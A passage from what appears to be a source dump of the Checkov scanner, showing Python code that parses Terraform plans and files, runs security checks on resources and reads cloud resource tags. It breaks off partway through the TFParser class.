    "content": "from __future__ import annotations\nfrom collections import defaultdict\n\nimport json\nimport logging\nimport os\nfrom typing import Dict, List, Tuple, Any\nfrom charset_normalizer import from_fp\n\nfrom checkov.terraform.context_parsers.registry import parser_registry\nfrom checkov.terraform.plan_parser import parse_tf_plan, TF_PLAN_RESOURCE_ADDRESS\nfrom checkov.common.runners.base_runner import filter_ignored_paths\nfrom checkov.runner_filter import RunnerFilter\n\n\ndef create_definitions(\n    root_folder: str | None,\n    files: list[str] | None = None,\n    runner_filter: RunnerFilter | None = None,\n    out_parsing_errors: dict[str, str] | None = None,\n) -> tuple[dict[str, dict[str, Any]], dict[str, list[tuple[int, str]]]]:\n    runner_filter = runner_filter or RunnerFilter()\n    out_parsing_errors = {} if out_parsing_errors is None else out_parsing_errors\n\n    if root_folder:\n        files = [] if not files else files\n        for root, d_names, f_names in os.walk(root_folder):\n            filter_ignored_paths(root, d_names, runner_filter.excluded_paths)\n            filter_ignored_paths(root, f_names, runner_filter.excluded_paths)\n            for file in f_names:\n                file_ending = os.path.splitext(file)[1]\n                if file != 'tsconfig.json' and file_ending == '.json':\n                    file_path = os.path.join(root, file)\n                    try:\n                        with open(file_path, \"rb\") as f:\n                            try:\n                                content = json.load(f)\n                            except UnicodeDecodeError:\n                                logging.debug(f\"Encoding for file {file_path} is not UTF-8, trying to detect it\")\n                                content = str(from_fp(f).best())\n\n                        if isinstance(content, dict) and content.get('terraform_version'):\n                            files.append(file_path)\n                    except Exception as e:\n                        logging.debug(f'Failed to load json file {file_path}, skipping', stack_info=True)\n                        out_parsing_errors[file_path] = str(e)\n\n    tf_definitions = {}\n    definitions_raw = {}\n    if files:\n        files = [os.path.realpath(file) for file in files]\n        for file in files:\n            if file.endswith(\".json\"):\n                current_tf_definitions, current_definitions_raw = parse_tf_plan(file, out_parsing_errors)\n                if current_tf_definitions and current_definitions_raw:\n                    tf_definitions[file] = current_tf_definitions\n                    definitions_raw[file] = current_definitions_raw\n            else:\n                logging.debug(f'Failed to load {file} as is not a .json file, skipping')\n    return tf_definitions, definitions_raw\n\n\ndef build_definitions_context(\n    definitions: dict[str, dict[str, list[dict[str, Any]]]],\n    definitions_raw: Dict[str, List[Tuple[int, str]]]\n) -> Dict[str, Dict[str, Any]]:\n    definitions_context: dict[str, dict[str, Any]] = defaultdict(dict)\n    supported_block_types = (\"data\", \"resource\", \"provider\")\n    for full_file_path, definition in definitions.items():\n        for block_type in supported_block_types:\n            entities = definition.get(block_type, [])\n            for entity in entities:\n                context_parser = parser_registry.context_parsers[block_type]\n                definition_path = context_parser.get_entity_context_path(entity)\n                entity_id: str\n                if len(definition_path) > 1:\n                    resource_type = definition_path[0]\n                    resource_name = definition_path[1]\n                    resource_type_dict = entity.get(resource_type, {})\n                    try:\n                        entity_id = get_entity_id(resource_type_dict, resource_name)\n                    except Exception as e:\n                        logging.error(str(e))\n                        continue\n                else:\n                    entity_id = definition_path[0]\n\n                # Entity can exist only once per dir, for file as well\n                entity_context = get_entity_context(\n                    definitions=definitions,\n                    definitions_raw=definitions_raw,\n                    definition_path=definition_path,\n                    full_file_path=full_file_path,\n                    entity_id=entity_id,\n                    block_type=block_type,\n                )\n                definitions_context[full_file_path][entity_id] = entity_context\n    return definitions_context\n\n\ndef get_entity_id(resource_type_dict: dict[str, Any], resource_name: str) -> str:\n    resource_dict = resource_type_dict.get(resource_name, resource_type_dict)\n    if isinstance(resource_dict, dict):\n        entity_id = resource_dict.get(TF_PLAN_RESOURCE_ADDRESS)\n    else:\n        entity_id = resource_type_dict.get(TF_PLAN_RESOURCE_ADDRESS)\n    if not entity_id:\n        raise Exception(f'Failed get_entity_id: {resource_name} does not have {TF_PLAN_RESOURCE_ADDRESS}')\n    return str(entity_id)\n\n\ndef get_entity_context(\n    definitions: dict[str, dict[str, list[dict[str, Any]]]],\n    definitions_raw: dict[str, list[tuple[int, str]]],\n    definition_path: list[str],\n    full_file_path: str,\n    entity_id: str,\n    block_type: str = \"resource\",\n) -> dict[str, Any]:\n    entity_context: dict[str, Any] = {}\n\n    if full_file_path not in definitions:\n        logging.debug(\n            f'Tried to look up file {full_file_path} in TF plan entity definitions, but it does not exist')\n        return entity_context\n\n    for resource in definitions.get(full_file_path, {}).get(block_type, []):\n        resource_type = definition_path[0]\n        resource_type_dict = resource.get(resource_type)\n        if not resource_type_dict:\n            continue\n        resource_name = definition_path[1]\n        resource_definition = resource_type_dict.get(resource_name, resource_type_dict)\n        if not isinstance(resource_definition, dict):\n            entity_context = build_entity_context(resource_type_dict)\n            entity_context[\"code_lines\"] = definitions_raw[full_file_path][entity_context[\"start_line\"]: entity_context[\"end_line\"]]\n            return entity_context\n        elif resource_definition and resource_definition.get(TF_PLAN_RESOURCE_ADDRESS) == entity_id:\n            entity_context = build_entity_context(resource_definition)\n            entity_context[\"code_lines\"] = definitions_raw[full_file_path][entity_context[\"start_line\"]: entity_context[\"end_line\"]]\n            return entity_context\n    return entity_context\n\n\ndef build_entity_context(resource_dict: dict[str, Any]) -> dict[str, Any]:\n    entity_context: dict[str, Any] = {}\n    entity_context['start_line'] = resource_dict['start_line'][0]\n    entity_context['end_line'] = resource_dict['end_line'][0]\n    entity_context['address'] = resource_dict[TF_PLAN_RESOURCE_ADDRESS]\n    return entity_context\n\n\ndef get_resource_id_without_nested_modules(address: str) -> str:\n    \"\"\"\n    return resource id with the last module in the address\n    example: from address='module.name1.module.name2.type.name' return 'module: module.name2.type.name'\n    \"\"\"\n    return \".\".join(address.split(\".\")[-4:])\n"
  },
  {
    "path": "checkov/terraform/runner.py",
    "content": "from __future__ import annotations\n\nimport dataclasses\nimport logging\nimport os\nfrom typing import Any, TYPE_CHECKING, Optional\n\nfrom typing_extensions import TypeAlias  # noqa[TC002]\n\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.checks.base_check_registry import BaseCheckRegistry\nfrom checkov.common.graph.checks_infra.registry import BaseRegistry\nfrom checkov.common.graph.graph_builder.consts import GraphSource\nfrom checkov.common.output.extra_resource import ExtraResource\nfrom checkov.common.parallelizer.parallel_runner import parallel_runner\nfrom checkov.common.output.graph_record import GraphRecord\nfrom checkov.common.output.record import Record\nfrom checkov.common.output.report import Report, merge_reports, remove_duplicate_results\nfrom checkov.common.util import data_structures_utils\nfrom checkov.common.util.consts import RESOLVED_MODULE_ENTRY_NAME\nfrom checkov.terraform import get_module_from_full_path, get_module_name, get_abs_path\nfrom checkov.common.util.secrets import omit_secret_value_from_checks\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.base_runner import BaseTerraformRunner\nfrom checkov.terraform.graph_manager import TerraformGraphManager\nfrom checkov.terraform.modules.module_objects import TFDefinitionKey, TFModule\nfrom checkov.terraform.context_parsers.registry import parser_registry\nfrom checkov.terraform.evaluation.base_variable_evaluation import BaseVariableEvaluation\nfrom checkov.common.graph.graph_builder.graph_components.attribute_names import CustomAttributes\nfrom checkov.terraform.graph_builder.graph_components.block_types import BlockType\nfrom checkov.terraform.graph_builder.graph_to_tf_definitions import convert_graph_vertices_to_tf_definitions\nfrom checkov.terraform.graph_builder.local_graph import TerraformLocalGraph\nfrom checkov.terraform.tag_providers import get_resource_tags\nfrom checkov.common.runners.base_runner import strtobool\nfrom checkov.terraform.tf_parser import TFParser\nfrom checkov.common.util.env_vars_config import env_vars_config\n\nif TYPE_CHECKING:\n    from checkov.common.typing import _SkippedCheck, LibraryGraph, LibraryGraphConnector\n\n_TerraformContext: TypeAlias = \"dict[TFDefinitionKey, dict[str, Any]]\"\n_TerraformDefinitions: TypeAlias = \"dict[TFDefinitionKey, dict[str, Any]]\"\n\nCHECK_BLOCK_TYPES = frozenset([\"resource\", \"data\", \"provider\", \"module\"])\n\n\nclass Runner(BaseTerraformRunner[_TerraformDefinitions, _TerraformContext, TFDefinitionKey]):\n    check_type = CheckType.TERRAFORM  # noqa: CCE003  # a static attribute\n\n    def __init__(\n        self,\n        parser: TFParser | None = None,\n        db_connector: LibraryGraphConnector | None = None,\n        external_registries: list[BaseRegistry] | None = None,\n        source: str = GraphSource.TERRAFORM,\n        graph_class: type[TerraformLocalGraph] = TerraformLocalGraph,\n        graph_manager: TerraformGraphManager | None = None,\n    ) -> None:\n        super().__init__(parser, db_connector, external_registries, source, graph_class, graph_manager)\n        self.all_graphs: list[tuple[LibraryGraph, Optional[str]]] = []\n\n    def run(\n        self,\n        root_folder: str | None,\n        external_checks_dir: list[str] | None = None,\n        files: list[str] | None = None,\n        runner_filter: RunnerFilter | None = None,\n        collect_skip_comments: bool = True,\n    ) -> Report | list[Report]:\n        runner_filter = runner_filter or RunnerFilter()\n        if not runner_filter.show_progress_bar:\n            self.pbar.turn_off_progress_bar()\n\n        report = Report(self.check_type)\n        parsing_errors: dict[str, Exception] = {}\n        self.load_external_checks(external_checks_dir)\n        if self.context is None or self.definitions is None or self.breadcrumbs is None:\n            self.definitions = {}\n            logging.info(\"Scanning root folder and producing fresh tf_definitions and context\")\n            tf_split_graph = strtobool(os.getenv(\"TF_SPLIT_GRAPH\", \"False\"))\n            if root_folder:\n                root_folder = os.path.abspath(root_folder)\n                if tf_split_graph:\n                    graphs_with_definitions, self.resource_subgraph_map = self.graph_manager.build_multi_graph_from_source_directory(\n                        source_dir=root_folder,\n                        local_graph_class=self.graph_class,\n                        download_external_modules=runner_filter.download_external_modules,\n                        external_modules_download_path=runner_filter.external_modules_download_path,\n                        parsing_errors=parsing_errors,\n                        excluded_paths=runner_filter.excluded_paths,\n                        vars_files=runner_filter.var_files,\n                    )\n                    local_graphs: list[tuple[str | None, TerraformLocalGraph]] = []\n                    for graph, definitions, subgraph_path in graphs_with_definitions:\n                        for definition in definitions:\n                            self.definitions.update(definition)\n                        local_graphs.append((subgraph_path, graph))\n                else:\n                    single_graph, self.definitions = self.graph_manager.build_graph_from_source_directory(\n                        source_dir=root_folder,\n                        local_graph_class=self.graph_class,\n                        download_external_modules=runner_filter.download_external_modules,\n                        parsing_errors=parsing_errors,\n                        excluded_paths=runner_filter.excluded_paths,\n                        external_modules_download_path=runner_filter.external_modules_download_path,\n                        vars_files=runner_filter.var_files,\n                    )\n                    # Make graph a list to allow single processing method for all cases\n                    local_graphs = [(None, single_graph)]\n            elif files:\n                files = [os.path.abspath(file) for file in files]\n                root_folder = os.path.split(os.path.commonprefix(files))[0]\n                self._parse_files(files, parsing_errors)\n\n                if tf_split_graph:\n                    local_graphs = self.graph_manager.build_multi_graph_from_definitions(self.definitions)\n                else:\n                    # local_graph needs to be a list to allow supporting multi graph\n                    local_graphs = [(None, self.graph_manager.build_graph_from_definitions(self.definitions))]\n            else:\n                raise Exception(\"Root directory was not specified, files were not specified\")\n\n            if local_graphs:\n                self._update_definitions_and_breadcrumbs(\n                    local_graphs,\n                    report,\n                    root_folder)\n        else:\n            logging.info(\"Scanning root folder using existing tf_definitions\")\n            if root_folder is None and files is None:\n                # this shouldn't happen\n                raise Exception(\"Root directory was not specified\")\n\n        self.pbar.initiate(len(self.definitions))\n        self.check_tf_definition(report, root_folder, runner_filter, collect_skip_comments)\n\n        report.add_parsing_errors(parsing_errors.keys())\n\n        if self.all_graphs:\n            for single_graph, _ in self.all_graphs:  # type: ignore  # Due to issue with rustworkx typing\n                graph_report = self.get_graph_checks_report(root_folder, runner_filter, graph=single_graph)\n                merge_reports(report, graph_report)\n        else:\n            graph_report = self.get_graph_checks_report(root_folder, runner_filter)\n            merge_reports(report, graph_report)\n\n        report = remove_duplicate_results(report)\n\n        if runner_filter.run_image_referencer:\n            image_report = self.check_container_image_references(\n                graph_connector=self.graph_manager.get_reader_endpoint(),\n                root_path=root_folder,\n                runner_filter=runner_filter,\n            )\n\n            if image_report:\n                # due too many tests failing only return a list, if there is an image report\n                return [report, image_report]\n\n        return report\n\n    def _parse_files(self, files: list[str], parsing_errors: dict[str, Exception]) -> None:\n        if self.definitions is None:\n            # just make sure it is not 'None'\n            self.definitions = {}\n\n        results = parallel_runner.run_function(self.parse_file, files)\n        for result in results:\n            if result:\n                file, parse_result, file_parsing_errors = result\n                if parse_result is not None:\n                    self.definitions[TFDefinitionKey(file_path=file)] = parse_result\n                if file_parsing_errors:\n                    parsing_errors.update(file_parsing_errors)\n\n    def parse_file(self, file: str) -> tuple[str, dict[str, Any] | None, dict[str, Exception]] | None:\n        if not (file.endswith(\".tf\") or file.endswith(\".hcl\")):\n            return None\n        file_parsing_errors: dict[str, Exception] = {}\n        parse_result = self.parser.parse_file(file=file, parsing_errors=file_parsing_errors)\n        # the exceptions type can un-pickleable so we need to cast them to Exception\n        for path, e in file_parsing_errors.items():\n            file_parsing_errors[path] = Exception(e.__repr__())\n        return file, parse_result, file_parsing_errors\n\n    def _update_definitions_and_breadcrumbs(\n        self, local_graphs: list[tuple[Optional[str], TerraformLocalGraph]], report: Report, root_folder: str\n    ) -> None:\n        self.definitions = {}\n        self.breadcrumbs = {}\n        self.all_graphs = []\n        for subgraph_path, local_graph in local_graphs:\n            for vertex in local_graph.vertices:\n                if vertex.block_type == BlockType.RESOURCE:\n                    vertex_id = vertex.attributes.get(CustomAttributes.TF_RESOURCE_ADDRESS)\n                    report.add_resource(f\"{vertex.path}:{vertex_id}\")\n            graph = self.graph_manager.save_graph(local_graph)\n            self.all_graphs.append((graph, subgraph_path))\n            current_definitions, current_breadcrumbs = convert_graph_vertices_to_tf_definitions(\n                local_graph.vertices,\n                root_folder,\n            )\n            self.definitions.update(current_definitions)\n            self.breadcrumbs.update(current_breadcrumbs)\n\n    def check_tf_definition(\n        self,\n        report: Report,\n        root_folder: str | None,\n        runner_filter: RunnerFilter,\n        collect_skip_comments: bool = True,\n    ) -> None:\n        parser_registry.reset_definitions_context()\n        if not self.definitions:\n            # nothing to do\n            self.pbar.update()\n            self.pbar.close()\n            return\n\n        if not self.context:\n            definitions_context = {}\n            for definition_key_tuple in self.definitions.items():\n                definitions_context = parser_registry.enrich_definitions_context(\n                    definitions=definition_key_tuple, collect_skip_comments=collect_skip_comments\n                )\n            self.context = definitions_context\n            logging.debug(\"Created definitions context\")\n\n        self.push_skipped_checks_down_from_modules(self.context)\n        for full_file_path, definition in self.definitions.items():\n            self.pbar.set_additional_data({\"Current File Scanned\": os.path.relpath(full_file_path.file_path)})\n            abs_scanned_file = get_abs_path(full_file_path)\n            abs_referrer = None\n            scanned_file = f\"{os.sep}{os.path.relpath(abs_scanned_file, root_folder)}\"\n            logging.debug(f\"Scanning file: {scanned_file}\")\n            self.run_all_blocks(\n                definition, self.context, full_file_path, root_folder, report, scanned_file, runner_filter, abs_referrer\n            )\n            self.pbar.update()\n        self.pbar.close()\n\n    def push_skipped_checks_down_from_modules(self, definition_context: dict[TFDefinitionKey, dict[str, Any]]) -> None:\n        if not self.definitions:\n            # no need to proceed\n            return\n\n        module_context_parser = parser_registry.context_parsers[BlockType.MODULE]\n        for tf_definition_key, definition in self.definitions.items():\n            full_file_path = tf_definition_key\n            definition_modules_context = definition_context.get(full_file_path, {}).get(BlockType.MODULE, {})\n            for entity in definition.get(BlockType.MODULE, []):\n                module_name = module_context_parser.get_entity_context_path(entity)[0]\n                skipped_checks = definition_modules_context.get(module_name, {}).get(\"skipped_checks\")\n                resolved_paths = entity.get(module_name).get(RESOLVED_MODULE_ENTRY_NAME)\n                self.push_skipped_checks_down(definition_context, skipped_checks, resolved_paths)\n\n    def push_skipped_checks_down(\n        self,\n        definition_context: dict[TFDefinitionKey, dict[str, Any]],\n        skipped_checks: list[_SkippedCheck],\n        resolved_paths: list[TFDefinitionKey],\n    ) -> None:\n        # this method pushes the skipped_checks down the 1 level to all resource types.\n        if not skipped_checks or not resolved_paths:\n            return\n        for ind, definition in enumerate(resolved_paths):\n            for block_type, block_configs in definition_context.get(definition, {}).items():\n                # skip if type is not a Terraform resource\n                if block_type not in CHECK_BLOCK_TYPES:\n                    continue\n\n                if block_type == \"module\":\n                    if not self.definitions:\n                        # no need to proceed\n                        continue\n\n                    # modules don't have a type, just a name\n                    for module_name, module_config in block_configs.items():\n                        # append the skipped checks also from a module to another module\n                        module_config[\"skipped_checks\"] += skipped_checks\n                        module_context = next(\n                            m\n                            for m in self.definitions.get(resolved_paths[ind], {}).get(block_type, [])\n                            if module_name in m\n                        )\n                        recursive_resolved_paths = module_context.get(module_name).get(RESOLVED_MODULE_ENTRY_NAME)\n                        self.push_skipped_checks_down(definition_context, skipped_checks, recursive_resolved_paths)\n                else:\n                    # there may be multiple resource types - aws_bucket, etc\n                    for resource_configs in block_configs.values():\n                        # there may be multiple names for each resource type\n                        for resource_config in resource_configs.values():\n                            # append the skipped checks from the module to the other resources.\n                            resource_config[\"skipped_checks\"] += skipped_checks\n\n    def run_all_blocks(\n        self,\n        definition: dict[str, list[dict[str, Any]]],\n        definitions_context: _TerraformContext,\n        full_file_path: TFDefinitionKey,\n        root_folder: str | None,\n        report: Report,\n        scanned_file: str,\n        runner_filter: RunnerFilter,\n        module_referrer: str | None,\n    ) -> None:\n        if not definition:\n            logging.debug(f\"Empty definition, skipping run (root_folder={root_folder})\")\n            return\n        block_types = set(definition.keys())\n        for block_type in block_types & CHECK_BLOCK_TYPES:\n            self.run_block(\n                definition[block_type],\n                definitions_context,\n                full_file_path,\n                root_folder,\n                report,\n                scanned_file,\n                block_type,\n                runner_filter,\n                None,\n                module_referrer,\n            )\n\n    def run_block(\n        self,\n        entities: list[dict[str, Any]],\n        definition_context: _TerraformContext,\n        full_file_path: TFDefinitionKey,\n        root_folder: str | None ,\n        report: Report,\n        scanned_file: str,\n        block_type: str,\n        runner_filter: RunnerFilter,\n        entity_context_path_header: str | None = None,\n        module_referrer: str | None = None,\n    ) -> None:\n        registry = self.block_type_registries[block_type]\n        if not registry:\n            return\n\n        for entity in entities:\n            virtual_resources = entity.get(\"virtual_resources\")\n            if (env_vars_config.RAW_TF_IN_GRAPH_ENV and virtual_resources\n                    and isinstance(virtual_resources, list) and len(virtual_resources) > 0):\n                # We want to skip violations for raw TF resources and keep only virtual one's. The raw resource\n                # should have an array of attached virtual resources so we check it and skip if needed\n                continue\n            entity_evaluations = None\n            context_parser = parser_registry.context_parsers[block_type]\n            definition_path = context_parser.get_entity_context_path(entity)\n            (entity_type, entity_name, entity_config) = registry.extract_entity_details(entity)\n\n            caller_file_path = None\n            caller_file_line_range = None\n\n            entity_id = entity_config.get(CustomAttributes.TF_RESOURCE_ADDRESS)\n            module_full_path, _ = get_module_from_full_path(full_file_path)\n            if module_full_path:\n                module_name = get_module_name(full_file_path)\n                if not module_name:\n                    full_definition_path = entity_id.split(\".\")\n                    try:\n                        module_name_index = (\n                            len(full_definition_path) - full_definition_path[::-1][1:].index(BlockType.MODULE) - 1\n                        )  # the next item after the last 'module' prefix is the module name\n                    except ValueError as e:\n                        # TODO handle multiple modules with the same name in repo\n                        logging.warning(f\"Failed to get module name for resource {entity_id}. {str(e)}\")\n                        continue\n                    module_name = full_definition_path[module_name_index]\n                caller_context = definition_context.get(module_full_path, {}).get(BlockType.MODULE, {}).get(module_name)\n                if not caller_context:\n                    continue\n                caller_file_line_range = (caller_context.get(\"start_line\", 1), caller_context.get(\"end_line\", 1))\n                abs_caller_file = get_abs_path(module_full_path)\n                caller_file_path = f\"{os.sep}{os.path.relpath(abs_caller_file, root_folder)}\"\n\n            if entity_context_path_header is None:\n                entity_context_path = [block_type] + definition_path\n            else:\n                # TODO: check, if this code part is still used\n                entity_context_path = [entity_context_path_header, block_type] + definition_path\n            # Entity can exist only once per dir, for file as well\n            context_path = full_file_path\n            try:\n                entity_context = data_structures_utils.get_inner_dict(\n                    definition_context[context_path],\n                    entity_context_path,\n                )\n                entity_lines_range = [entity_context.get(\"start_line\", 1), entity_context.get(\"end_line\", 1)]\n                entity_code_lines = entity_context.get(\"code_lines\", [])\n                skipped_checks = entity_context.get(\"skipped_checks\")\n            except KeyError:\n                # TODO: Context info isn't working for modules\n                entity_lines_range = [1, 1]\n                entity_code_lines = []\n                skipped_checks = None\n\n            if full_file_path in self.evaluations_context:\n                variables_evaluations = {}\n                for var_name, context_info in self.evaluations_context.get(full_file_path, {}).items():\n                    variables_evaluations[var_name] = dataclasses.asdict(context_info)\n                entity_evaluations = BaseVariableEvaluation.reduce_entity_evaluations(\n                    variables_evaluations, entity_context_path\n                )\n            self._assign_correct_graph_to_registry(registry, scanned_file)\n            results = registry.scan(scanned_file, entity, skipped_checks, runner_filter)\n            absolute_scanned_file_path = get_abs_path(full_file_path)\n            # This duplicates a call at the start of scan, but adding this here seems better than kludging with some tuple return type\n            tags = get_resource_tags(entity_type, entity_config)\n            if results:\n                for check, check_result in results.items():\n                    censored_code_lines = omit_secret_value_from_checks(\n                        check=check,\n                        check_result=check_result,\n                        entity_code_lines=entity_code_lines,\n                        entity_config=entity_config,\n                        resource_attributes_to_omit=runner_filter.resource_attr_to_omit,\n                    )\n\n                    record = Record(\n                        check_id=check.id,\n                        bc_check_id=check.bc_id,\n                        check_name=check.name,\n                        check_result=check_result,\n                        code_block=censored_code_lines,\n                        file_path=scanned_file,\n                        file_line_range=entity_lines_range,\n                        resource=entity_id,\n                        evaluations=entity_evaluations,\n                        check_class=check.__class__.__module__,\n                        file_abs_path=absolute_scanned_file_path,\n                        entity_tags=tags,\n                        caller_file_path=caller_file_path,\n                        caller_file_line_range=caller_file_line_range,\n                        severity=check.severity,\n                        bc_category=check.bc_category,\n                        benchmarks=check.benchmarks,\n                        details=check.details,\n                        definition_context_file_path=full_file_path.file_path,\n                    )\n                    if self.breadcrumbs:\n                        entity_key = entity_id\n                        breadcrumb = self.breadcrumbs.get(record.file_path, {}).get(entity_key)\n                        if breadcrumb:\n                            record = GraphRecord(record, breadcrumb)\n\n                    record.set_guideline(check.guideline)\n                    report.add_record(record=record)\n            else:\n                if block_type == \"resource\":\n                    # resources without checks, but not existing ones\n                    report.extra_resources.add(\n                        ExtraResource(\n                            file_abs_path=absolute_scanned_file_path,\n                            file_path=scanned_file,\n                            resource=entity_id,\n                        )\n                    )\n\n    def _assign_correct_graph_to_registry(self, registry: BaseCheckRegistry, scanned_file: str) -> None:\n        registry.graph = None\n        if self.all_graphs and isinstance(self.all_graphs, list):\n            if len(self.all_graphs) == 1:\n                graph_obj = self.all_graphs[0]\n                if graph_obj and isinstance(graph_obj, tuple):\n                    registry.graph = graph_obj[0]  # type: ignore[assignment]\n            else:\n                for graph_obj in self.all_graphs:\n                    if isinstance(graph_obj, tuple) and isinstance(graph_obj[1], str) and scanned_file.startswith(graph_obj[1]):\n                        registry.graph = graph_obj[0]  # type: ignore[assignment]\n                        break\n\n    def get_entity_context_and_evaluations(self, entity: dict[str, Any]) -> dict[str, Any] | None:\n        block_type = entity[CustomAttributes.BLOCK_TYPE]\n        tf_source_module_obj = entity.get(CustomAttributes.SOURCE_MODULE_OBJECT)\n        if isinstance(tf_source_module_obj, dict):\n            tf_source_module_obj = TFModule.from_json(tf_source_module_obj)\n        full_file_path = TFDefinitionKey(\n            file_path=entity[CustomAttributes.FILE_PATH], tf_source_modules=tf_source_module_obj\n        )\n\n        definition_path = entity[CustomAttributes.BLOCK_NAME].split(\".\")\n        entity_context_path = [block_type] + definition_path\n        try:\n            entity_context = self.context[full_file_path]  # type:ignore[index]  # at this point self.context is set\n            for k in entity_context_path:\n                if k in entity_context:\n                    entity_context = entity_context[k]\n                else:\n                    logging.warning(f'Failed to find context for {\".\".join(entity_context_path)}')\n                    return None\n            entity_context[\"definition_path\"] = definition_path\n        except KeyError:\n            logging.error(f\"Did not find context for key {full_file_path}\")\n            return {}\n        return entity_context\n"
  },
  {
    "path": "checkov/terraform/tag_providers/__init__.py",
    "content": "from typing import Dict, Any, Optional\n\nfrom checkov.terraform.tag_providers import aws\nfrom checkov.terraform.tag_providers import azure\nfrom checkov.terraform.tag_providers import gcp\n\nprovider_tag_mapping = {\"aws\": aws.get_resource_tags, \"azure\": azure.get_resource_tags, \"gcp\": gcp.get_resource_tags,\n                        \"google\": gcp.get_resource_tags}\n\n\ndef get_resource_tags(resource_type: str, entity_config: Dict[str, Any]) -> Optional[Dict[str, Any]]:\n    if not isinstance(entity_config, dict):\n        return None\n\n    provider_tag = get_provider_tag(resource_type)\n    provider_tag_function = provider_tag_mapping.get(provider_tag) if provider_tag else None\n    if provider_tag_function:\n        return provider_tag_function(entity_config)\n    else:\n        return None\n\n\ndef get_provider_tag(resource_type: str) -> Optional[str]:\n    provider_tag = None\n    if 'aws' in resource_type:\n        provider_tag = \"aws\"\n    elif 'azure' in resource_type:\n        provider_tag = \"azure\"\n    elif 'gcp' in resource_type or 'google' in resource_type:\n        provider_tag = \"gcp\"\n    return provider_tag\n"
  },
  {
    "path": "checkov/terraform/tag_providers/aws.py",
    "content": "from typing import Dict, List, Any, Optional\n\nfrom checkov.common.util.type_forcers import force_dict\n\n\ndef get_resource_tags(entity_config: Dict[str, List[Any]]) -> Optional[Dict[str, Any]]:\n    return force_dict(entity_config.get(\"tags\"))\n"
  },
  {
    "path": "checkov/terraform/tag_providers/azure.py",
    "content": "from typing import Dict, List, Any, Optional\n\nfrom checkov.common.util.type_forcers import force_dict\n\n\ndef get_resource_tags(entity_config: Dict[str, List[Any]]) -> Optional[Dict[str, Any]]:\n    return force_dict(entity_config.get(\"tags\"))\n"
  },
  {
    "path": "checkov/terraform/tag_providers/gcp.py",
    "content": "from typing import Dict, List, Any, Optional\n\nfrom checkov.common.util.type_forcers import force_dict\n\n\ndef get_resource_tags(entity_config: Dict[str, List[Any]]) -> Optional[Dict[str, Any]]:\n    return force_dict(entity_config.get(\"labels\"))\n"
  },
  {
    "path": "checkov/terraform/tf_parser.py",
    "content": "from __future__ import annotations\n\nimport logging\nimport os\nfrom collections import defaultdict\nfrom typing import Optional, Dict, Mapping, Set, Tuple, Callable, Any, List, cast, TYPE_CHECKING, overload\n\nfrom checkov.common.parallelizer.parallel_runner import parallel_runner\nfrom checkov.common.runners.base_runner import filter_ignored_paths, IGNORE_HIDDEN_DIRECTORY_ENV\nfrom checkov.common.util.consts import DEFAULT_EXTERNAL_MODULES_DIR, RESOLVED_MODULE_ENTRY_NAME\nfrom checkov.common.util.data_structures_utils import pickle_deepcopy\nfrom checkov.common.util.deep_merge import pickle_deep_merge\nfrom checkov.common.util.type_forcers import force_list\nfrom checkov.common.variables.context import EvaluationContext\nfrom checkov.terraform.graph_builder.graph_components.block_types import BlockType\nfrom checkov.terraform.graph_builder.graph_components.module import Module\nfrom checkov.terraform.module_loading.content import ModuleContent\nfrom checkov.terraform.module_loading.registry import module_loader_registry as default_ml_registry, \\\n    ModuleLoaderRegistry\nfrom checkov.terraform.module_loading.module_finder import load_tf_modules\nfrom checkov.common.util.parser_utils import is_acceptable_module_param\nfrom checkov.terraform.modules.module_utils import safe_index, \\\n    remove_module_dependency_from_path, clean_parser_types, serialize_definitions\nfrom checkov.terraform.modules.module_objects import TFModule, TFDefinitionKey\nfrom checkov.terraform.parser_utils import load_or_die_quietly\n\n\nif TYPE_CHECKING:\n    from typing_extensions import TypeGuard\n\n\ndef _filter_ignored_paths(root: str, paths: list[str], excluded_paths: list[str] | None) -> None:\n    filter_ignored_paths(root, paths, excluded_paths)\n    for path in force_list(paths):\n        if path == default_ml_registry.external_modules_folder_name:\n            paths.remove(path)\n\n\nclass TFParser:\n    def __init__(self, module_class: type[Module] = Module) -> None:\n        self.module_class = module_class\n        self._parsed_directories: set[str] = set()\n        self.external_modules_source_map: Dict[Tuple[str, str], str] = {}\n        self.module_address_map: Dict[Tuple[str, str], str] = {}\n        self.loaded_files_map: dict[str, dict[str, list[dict[str, Any]]] | None] = {}\n        self.external_vars: dict[str, dict[str, tuple[Any, str]]] = {}\n        self.temp_tf_definition: dict[str, Any] = {}\n\n    def _init(self, directory: str,\n              out_evaluations_context: Dict[TFDefinitionKey, Dict[str, EvaluationContext]] | None,\n              out_parsing_errors: Dict[str, Exception] | None,\n              env_vars: Mapping[str, str] | None,\n              download_external_modules: Optional[bool],\n              external_modules_download_path: str,\n              excluded_paths: Optional[List[str]] = None,\n              tf_var_files: Optional[List[str]] = None) -> None:\n        self.directory = directory\n        self.out_definitions: dict[TFDefinitionKey, dict[str, list[dict[str, Any]]]] = {}\n        self.out_evaluations_context = {} if out_evaluations_context is None else out_evaluations_context\n        self.out_parsing_errors = {} if out_parsing_errors is None else out_parsing_errors\n        self.env_vars = dict(os.environ) if env_vars is None else env_vars\n        self.download_external_modules = download_external_modules\n        self.external_modules_download_path = external_modules_download_path\n        self.external_modules_source_map = {}\n        self.module_address_map = {}\n        self.tf_var_files = tf_var_files\n        self.dirname_cache: dict[str, str] = {}\n        self.excluded_paths = excluded_paths\n        self.visited_definition_keys: set[TFDefinitionKey] = set()\n        self.module_to_resolved: dict[tuple[TFDefinitionKey | None, str], list[TFDefinitionKey]] = {}\n        self.keys_to_remove: set[TFDefinitionKey] = set()\n\n    def _check_process_dir(self, directory: str) -> bool:\n        if directory not in self._parsed_directories:\n            self._parsed_directories.add(directory)\n            return True\n        else:\n            return False\n\n    def parse_directory(\n            self,\n            directory: str,\n            out_evaluations_context: Dict[TFDefinitionKey, Dict[str, EvaluationContext]] | None = None,\n            out_parsing_errors: Dict[str, Exception] | None = None,\n            env_vars: Mapping[str, str] | None = None,\n            download_external_modules: Optional[bool] = False,\n            external_modules_download_path: str = DEFAULT_EXTERNAL_MODULES_DIR,\n            excluded_paths: Optional[List[str]] = None,\n            vars_files: Optional[List[str]] = None,\n            external_modules_content_cache: Optional[Dict[str, ModuleContent | None]] = None,\n    ) -> dict[TFDefinitionKey, dict[str, list[dict[str, Any]]]]:\n        self._init(directory, out_evaluations_context, out_parsing_errors, env_vars,\n                   download_external_modules, external_modules_download_path, excluded_paths)\n        self._parsed_directories.clear()\n        default_ml_registry.root_dir = directory\n        